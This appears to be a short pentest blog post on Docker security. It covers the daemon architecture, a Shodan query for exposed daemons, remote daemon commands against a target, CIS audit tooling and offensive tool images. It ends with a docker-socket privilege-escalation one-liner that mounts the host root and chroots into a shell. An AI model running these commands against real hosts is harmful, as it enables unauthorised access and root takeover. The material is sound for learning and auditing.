Case Study - Docker Security
intro
Docker is a popular technology adopted by many organizations in their cloud services. This case study is a summary of docker security and pentest strategies.
Docker arch
Docker adopts a client-server architecture with the following main components:
- Docker Daemon: manages docker object such as network, volume, docker image & container.
- Docker API: an interface between Daemon and CLI to communicate with each other via Unix or TCP socket.
- Docker CLI: a command-line interface used to execute the command to pull, run and build the docker image.
By default, CLI communiates with Daemon on local loopback via a unix socket. You may also bind the Daemon to TC port s 2375,
2376, 2377 for remote connection (this is dangerous). Many vulnerable setups like this can be found on shodan: port:2375 product:"docker"
exploiting Docker Daemon directly
To expose docker Daemon via TCP, this can be done by modifying /lib/systemd/system/docker.service
# add the following to ExecStart
-H=tcp://0.0.0.0:2375
# then save and restart the Daemon
One can connect to the Daemon via
> docker -H <remote host ip> :<port> <docker-command>
# to get the version
> docker -H <target>:2375 version
# get a list of available images
> docker -H <target>:2375 images
# see running processes
docker -H <target>:2375 ps -a
# connect to a container by id
docker -H <target>:2375 exec -it <container-id> /bin/sh
automated tools for docker security assessment
Both of the following are scripts/tools for automating the assessment of docker security
Both provide static analysis of the docker image and reports vulnerabilities in them.
Additionally, CIS has a benchmarking programm for docker. This can also be achieved via their provided dockoer image to conduct an audit on your docker setup.
> docker run -it --net host --pid host --userns host --cap-add audit_control \
-e DOCKER_CONTENT_TRUST=$DOCKER_CONTENT_TRUST \
-v /etc:/etc:ro \
-v /usr/bin/containerd:/usr/bin/containerd:ro \
-v /usr/bin/runc:/usr/bin/runc:ro \
-v /usr/lib/systemd:/usr/lib/systemd:ro \
-v /var/lib:/var/lib:ro \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
--label docker_bench_security \
docker/docker-bench-security
using docker for pentest
Many pentest tools are built as docker containers such as namp, sqlmap, wpscan, impacket, metasploit etc. Out of all, i personally think the most convenient build is empire
, which had been output maintenance for a while and was more difficult to setup. But this available as a docker image.
> docker pull instrumentisto/nmap
> docker pull hypnza/dirbuster
> docker pull googlesky/sqlmap
> docker pull bcsecurity/empire
> docker pull rflathers/impacket
> docker pull metasploitframework/metasploit-framework
commonly exploited docker misconfig
Writable sock: https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-docker-socket
# check which image is available
> docker images
# PE via the image
> docker -H unix:///var/run/docker.sock run -v /:/host -it {image_name} chroot /host /bin/bash
Curl can be used with a Unix socket to talk to the Docker daemon
# https://gist.github.com/PwnPeter/3f0a678bf44902eae07486c9cc589c25
> curl --unix-socket /var/run/docker.sock http://localhost/images/json